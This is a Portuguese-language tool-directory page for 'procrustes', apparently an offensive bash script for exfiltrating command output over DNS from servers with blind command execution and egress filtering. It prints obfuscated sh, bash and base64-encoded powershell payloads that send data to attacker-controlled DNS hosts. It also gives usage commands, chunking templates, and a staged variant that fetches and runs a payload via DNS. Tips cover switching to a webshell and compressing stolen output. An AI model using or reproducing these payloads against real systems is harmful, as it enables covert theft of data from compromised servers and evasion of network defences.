Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
Ferramentas/GitHubGitHub/vp777/procrustes
ExploraçãoExfiltração de DadosComando e ControleRed TeamingAnálise de DNS
GitHubvp777/procrustes

procrustes

Um script bash que automatiza a exfiltração de dados via DNS em caso de execução cega de comandos em um servidor com filtragem de saída.

Ver Repositório
21032há 5 anosRevisado pelo Kitploit

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Procrustes

Um script bash que automatiza a exfiltração de dados via DNS quando temos uma execução de comando cega em um servidor onde todas as conexões de saída, exceto DNS, são bloqueadas. O script atualmente suporta sh, bash e powershell e é compatível com execução de comando do tipo exec (por exemplo, java.lang.Runtime.exec).

Unstaged:

Staged:

Para suas operações, o script recebe como entrada o comando que queremos executar no servidor alvo e o transforma de acordo com o shell alvo para permitir que sua saída seja exfiltrada via DNS. Após a transformação do comando, ele é alimentado para o "dispatcher". O dispatcher é um programa fornecido pelo usuário e é responsável por receber um comando e fazê-lo executar no servidor alvo por qualquer meio necessário (por exemplo, explorando uma vulnerabilidade). Depois que o comando é executado no servidor alvo, espera-se que ele dispare requisições DNS para nosso servidor DNS contendo pedaços de nossos dados. O script escuta essas requisições até que a saída do comando fornecido pelo usuário seja totalmente exfiltrada.

Abaixo estão as transformações de comando suportadas, geradas para a exfiltração do comando: ls

sh:

root@kitploit:~
sh -c $@|base64${IFS}-d|sh . echo IGRpZyBAMCArdHJpZXM9NSBgKGxzKXxiYXNlNjQgLXcwfHdjIC1jYC5sZW4xNjAzNTQxMTc4LndoYXRldi5lcgo=

bash:

root@kitploit:~
bash -c {echo,IG5zbG9va3VwIGAobHMpfGJhc2U2NCAtdzB8d2MgLWNgLmxlbi4xNjAzMDMwNTYwLndoYXRldi5lcgo=}|{base64,-d}|bash

powershell:

root@kitploit:~
powershell -enc UgBlAHMAbwBsAHYAZQAtAEQAbgBzAE4AYQBtAGUAIAAkACgAIgB7ADAAfQAuAHsAMQB9AC4AewAyAH0AIgAgAC0AZgAgACgAWwBDAG8AbgB2AGUAcgB0AF0AOgA6AFQAbwBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoAFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABCAHkAdABlAHMAKAAoAGwAcwApACkAKQAuAGwAZQBuAGcAdABoACkALAAiAGwAZQBuACIALAAiADEANgAwADMAMAAzADAANAA4ADgALgB3AGgAYQB0AGUAdgAuAGUAcgAiACkACgA=

Uso

  1. Teste local para bash:
root@kitploit:~
./procroustes_chunked.sh -h whatev.er -d "dig @0 +tries=5" -x dispatcher_examples/local_bash.sh -- 'ls -lha|grep secret' < <(stdbuf -oL tcpdump --immediate -l -i any udp port 53)
  1. Teste local para powershell com WSL2:
root@kitploit:~
stdbuf -oL tcpdump --immediate -l -i any udp port 53|./procroustes_chunked.sh -w ps -h whatev.er -d "Resolve-DnsName -Server wsl2_IP -Name" -x dispatcher_examples/local_powershell_wsl2.sh -- 'gci | % {$_.Name}'
  1. Exemplo powershell onde fazemos ssh para nosso NS para obter as requisições DNS recebidas.
root@kitploit:~
./procroustes_chunked.sh -w ps -h yourdns.host -d "Resolve-DnsName" -x dispatcher_examples/curl_waf.sh -- 'gci | % {$_.Name}' < <(stdbuf -oL ssh user@HOST 'sudo tcpdump --immediate -l udp port 53')
  1. Mais informações sobre as opções
root@kitploit:~
./procroustes_chunked.sh --help

procroustes_chunked vs procroustes_full

Em suma, supondo que queremos exfiltrar alguns dados que precisam ser divididos em quatro partes para poderem ser transmitidos via DNS:

  • procroustes_chunked: chama o dispatcher quatro vezes, cada vez solicitando uma parte diferente do servidor. Tem tamanho de payload relativamente pequeno, é rápido e não precisa de nenhuma configuração especial.
  • procroustes_full: chama o dispatcher uma vez, o comando que será executado no servidor será responsável por dividir os dados e enviá-los. Pode ter tamanho de payload maior, é rápido (a velocidade pode ser ajustada através do parâmetro -t) e sua velocidade pode ser ainda mais otimizada quando o dns_server está rodando no servidor de nomes.
  • procroustes_full/staged: igual ao procroustes_full, mas usa um stager para obter o comando usado pelo procroustes_full para dividir os dados. Tem o menor tamanho de 'payload', mas também é o mais lento em relação à taxa de exfiltração, pois o payload real é baixado via DNS. Para sua operação, requer a criação de um script nsconfig. Nota: o script nsconfig deve ser criado apenas uma vez por servidor de nomes (e não por servidor alvo).

Algumas das diferenças também podem ser ilustradas através dos comandos modelo usados para bash:

procroustes_chunked/bash:

root@kitploit:~
%DNS_TRIGGER% `(%CMD%)|base64 -w0|cut -b$((%INDEX%+1))-$((%INDEX%+%COUNT%))'`.%UNIQUE_DNS_HOST%

procroustes_full/bash:

root@kitploit:~
(%CMD%)|base64 -w0|echo $(cat)--|grep -Eo '.{1,%LABEL_SIZE%}'|xargs -n%NLABELS% echo|tr ' ' .|awk '{printf "%s.%s%s\n",$1,NR,"%UNIQUE_DNS_HOST%"}'|xargs -P%THREADS% -n1 %DNS_TRIGGER%

procroustes_full/bash/staged:

root@kitploit:~
(seq %ITERATIONS%|%S_DNS_TRIGGGER% $(cat).%UNIQUE_DNS_HOST%|tr . \ |printf %02x $(cat)|xxd -r -p)|bash

[1] Para a versão staged, o comando é baixado via DNS, então o tamanho listado é também o tamanho total do payload.

[2] No procroustes_chunked, o dispatcher é chamado várias vezes, assim como o comando fornecido que deve ser executado no servidor (até que toda sua saída seja exfiltrada). Esse comportamento não é ideal se a entrega de comandos ao servidor (ou seja, chamando o dispatcher) for intensiva em tempo/recursos.

Também pode causar problemas se o comando que estamos executando no servidor não for idempotente (funcionalmente ou em termos de saída, por exemplo, "ls;rm file") ou for intensivo em tempo/recursos (por exemplo, find / -name secret). Uma alternativa para esse caso é primeiro armazenar a saída do comando em um arquivo (por exemplo, /tmp/file) e depois usar o script para ler esse arquivo.

[3] Na versão staged, temos a sobrecarga do tempo necessário para obter o payload real via DNS. Deve-se notar que o script faz uso de registros A para obter o payload real. Embora isso permita que nosso tráfego se misture melhor com o tráfego regular do ambiente alvo, oferece capacidade de canal limitada (por exemplo, 4 bytes por requisição). Poderíamos usar outros tipos de registro como TXT e minimizar o tempo de download do stage (próximo de zero) e o tamanho do stager.

Dicas

  • Você provavelmente quer usar este script o mínimo possível, tente fazer a transição para um canal de maior largura de banda o mais rápido possível (por exemplo, HTTP-webshell)
  • Caso seja esperada uma saída de texto longa, você pode tentar comprimi-la primeiro para acelerar o processo de exfiltração, por exemplo, ./procrustes_full.sh ... -o >(setsid gunzip) -- 'ls -lhR / | gzip'
  • Outra possibilidade para arquivos grandes/binários é copiá-los para um caminho que seja acessível, por exemplo, via HTTP
  • Para aumentar a largura de banda de exfiltração no procrustes_full, execute o dns_server no seu servidor de nomes. Dessa forma, evitamos esperar o timeout do DNS_TRIGGER subjacente antes de passar para um novo pedaço.
  • Idealmente, você teria um domínio (opção -h) com um registro NS apontando para um servidor que você controla (servidor onde executamos o tcpdump). No entanto, caso o alvo tenha permissão para iniciar conexões para servidores DNS arbitrários, isso pode ser evitado configurando explicitamente o gatilho DNS para usar nosso servidor DNS (por exemplo, dig @your_server whatev.er)

Créditos

  • Collabfiltrator - ideia de dividir os dados no servidor. Também realiza funcionalidades similares com este script, então confira.
  • DNSlivery - uma versão modificada do DNSlivery é usada como servidor DNS
Baixar ferramenta
procroustes_chunkedprocroustes_fullprocroustes_full_staged
sobrecarga de tamanho de payload (bash/powershell)150*NLABELS/500*NLABELS (+CMD_LEN)300/800 (+CMD_LEN)150/400[1]
número de chamadas do dispatcher#saida/(LABEL_SIZE*NLABELS)[2]11
velocidade (bash/powershell)✔/✔✔/✔✓/✓[3]
dificuldade de configuraçãofácilfácil+médio